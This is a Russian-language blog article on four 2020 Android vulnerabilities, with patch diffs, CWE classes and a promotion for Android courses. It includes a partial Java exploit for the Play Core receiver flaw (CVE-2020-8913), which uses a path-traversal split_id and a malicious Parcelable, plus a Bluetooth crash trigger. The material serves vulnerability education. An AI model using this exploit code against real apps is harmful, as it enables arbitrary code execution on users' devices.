Уязвимости Android 2020
Привет, Хабр. Делимся с вами полезной статьей, автором которой является Александр Колесников.
Операционная система Android считается одной из самых защищенных операционных систем в наше время. Разработчики этой ОС на своем официальном сайте рассказывают, что в ОС сделано очень много работы для того чтобы создание традиционных эксплойтов было нерентабельно, сложно, невозможно. Возникает вопрос, а есть ли вообще уязвимости в ОС, которые могли бы привести к компрометации системы? Будут ли эти уязвимости отличаться от стандартных уязвимостей программного обеспечения? Можно ли найти эти уязвимости в CWE TOP 25? Или в Android уникальные уязвимости? Эта статья попытка собрать воедино несколько уязвимостей платформы Android в разных частях её архитектуры за 2020 год.
Архитектура ОС Android
Без описания хотя бы поверхностно работы этой ОС не обойтись, но постараемся сделать это максимально быстро. На картинке ниже представлена архитектура ОС Android.
Подробное её описание можно найти здесь. Нас же интересует всего 2 факта об архитектуре:
Каждый уровень архитектуры отделен друг от друга и выполняет функции на различных уровнях привилегий;
Все уровни Android впитали в себя самое лучшее, что было на момент создания ОС из других open source проектов с точки зрения безопасности.
Если объединить эти два факта, то получается, что для того чтобы атаковать эту операционную систему необходимо, чтобы у атакующего было в арсенале по 1 уязвимой функции на каждом из уровней ОС. Это достаточно серьезно усложняет процесс создания эксплойта для атаки на ОС. Однако, все равно ресечеры со всего мира находят способы как можно атаковать эту ОС и делают это достаточно успешно. Под эту деятельность даже есть отдельное мероприятие.
CVE-2020-0082
Уязвимость в операционной системе Android 10. Если обратиться к общей классификации уязвимостей CWE Top 25, то уязвимость можно отнести к классу CWE-502. Данный класс уязвимостей может возникать как в веб, так и в десктопных приложениях. Основной особенностью уязвимости считается тот факт, что при помощи нее можно абсолютно незаметно для ОС и пользователя внедрить свой код в уязвимое приложение. Возможно это за счет того, что объекты, которые подвергаются процедуре десериализации или сборке могут описывать функцию-сборщик, которая может выполнять производные функции. Уязвимость известна довольно давно и при неосторожном использовании функций десериализации может стать критической.
В ОС Android так и случилось. При успешном использовании уязвимости можно захватить контроль над привилегированным пользователем system_server.
diff --git a/core/java/android/os/ExternalVibration.java b/core/java/android/os/ExternalVibration.java
index 37ca868..041d21f 100644
--- a/core/java/android/os/ExternalVibration.java
+++ b/core/java/android/os/ExternalVibration.java
@@ -157,7 +157,6 @@
out.writeInt(mUid);
out.writeString(mPkg);
writeAudioAttributes(mAttrs, out, flags);
- out.writeParcelable(mAttrs, flags);
out.writeStrongBinder(mController.asBinder());
out.writeStrongBinder(mToken);
}
Эксплуатация уязвимости возможна через создание объекта Parsel для "android.accounts.IAccountAuthenticatorResponse
".
CVE-2020-8913
Уязвимость в Android Play Сore библиотеке. Уязвимый receiver позволял перезаписывать файлы и запускать произвольный код в ОС. Запуск кода снова возможен за счет десериализации данных, которые передаются за счет объекта Parcel. Фрагмент эксплойта с использованием приложения Google Chrome:
//Приложение может быть любым, главное чтобы использовала уязвимый функционал
public static final String APP = "com.android.chrome";
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// Запускаем приложение
Intent launchIntent = getPackageManager().getLaunchIntentForPackage(APP);
startActivity(launchIntent);
// Создаем новый Intent и указываем адрес его содержимого
new Handler().postDelayed(() -> {
Intent split = new Intent();
split.setData(Uri.parse("file://" + getApplicationInfo().sourceDir));
split.putExtra("split_id", "../verified-splits/config.test");
//Сохраняем временные данные]
Bundle bundle = new Bundle();
bundle.putInt("status", 3);
bundle.putParcelableArrayList("split_file_intents", new ArrayList<Parcelable>(Arrays.asList(split)));
//Создаем новый Intent и отправляем сообщение для уязвимого receiver
Intent intent = new Intent("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService");
intent.setPackage(APP);
intent.putExtra("session_state", bundle);
sendBroadcast(intent);
}, 3000);
//Вызов команд, которые будут выполнены после десериализации
new Handler().postDelayed(() -> {
startActivity(launchIntent.putExtra("x", new EvilParcelable()));
}, 5000);
}
CVE-2020-8899
Уязвимость в библиотеке для разбора картинок. Нельзя 100% утверждать, что это уязвимость Android, но все же эта версия ОC очень популярна. Используется на телефонах Samsung.
Как известно, различные вендоры мобильных устройств очень часто создают собственные модификации ОС Android и благополучно забывают о них.
Уязвимость в данном случае заключается в том, что происходит повреждение памяти процесса и приложение, которое использует уязвимую функцию для работы с изображениями. Падение эксплуатабельно и можно выполнять любые операции от имени привилегированного пользователя ОС. Уязвимость относится к классу CWE-787.
CVE-2020-0022
Уязвимость в BlueTooth стеке ОС Android 8 и 9. Уязвимость позволяет обрушить ОС. Класс уязвимости CWE-787.
diff --git a/hci/src/packet_fragmenter.cc b/hci/src/packet_fragmenter.cc
index 5036ed5..143fc23 100644
--- a/hci/src/packet_fragmenter.cc
+++ b/hci/src/packet_fragmenter.cc
@@ -221,7 +221,8 @@
"%s got packet which would exceed expected length of %d. "
"Truncating.",
__func__, partial_packet->len);
- packet->len = partial_packet->len - partial_packet->offset;
+ packet->len =
+ (partial_packet->len - partial_packet->offset) + packet->offset;
projected_offset = partial_packet->len;
}
Некорректная обработка длины пакета. Для триггера уязвимости достаточно отправить фрагментированные широковещательные запросы длиной 300 и 33 байт.
Выводы
Похоже, что даже разделение привилегий, использование самых передовых технологий не спасает от самых распространенных ошибок программного обеспечения. ОС можно атаковать и классическими эксплойтами на повреждение памяти и более современными аналогами, которые используют механизмы ОС.
Совсем скоро у нас стартуют курсы по Android-разработке двух уровней. Узнать подробнее о курсах можно по ссылкам ниже.
- Android Developer. Basic
- Android Developer. Professional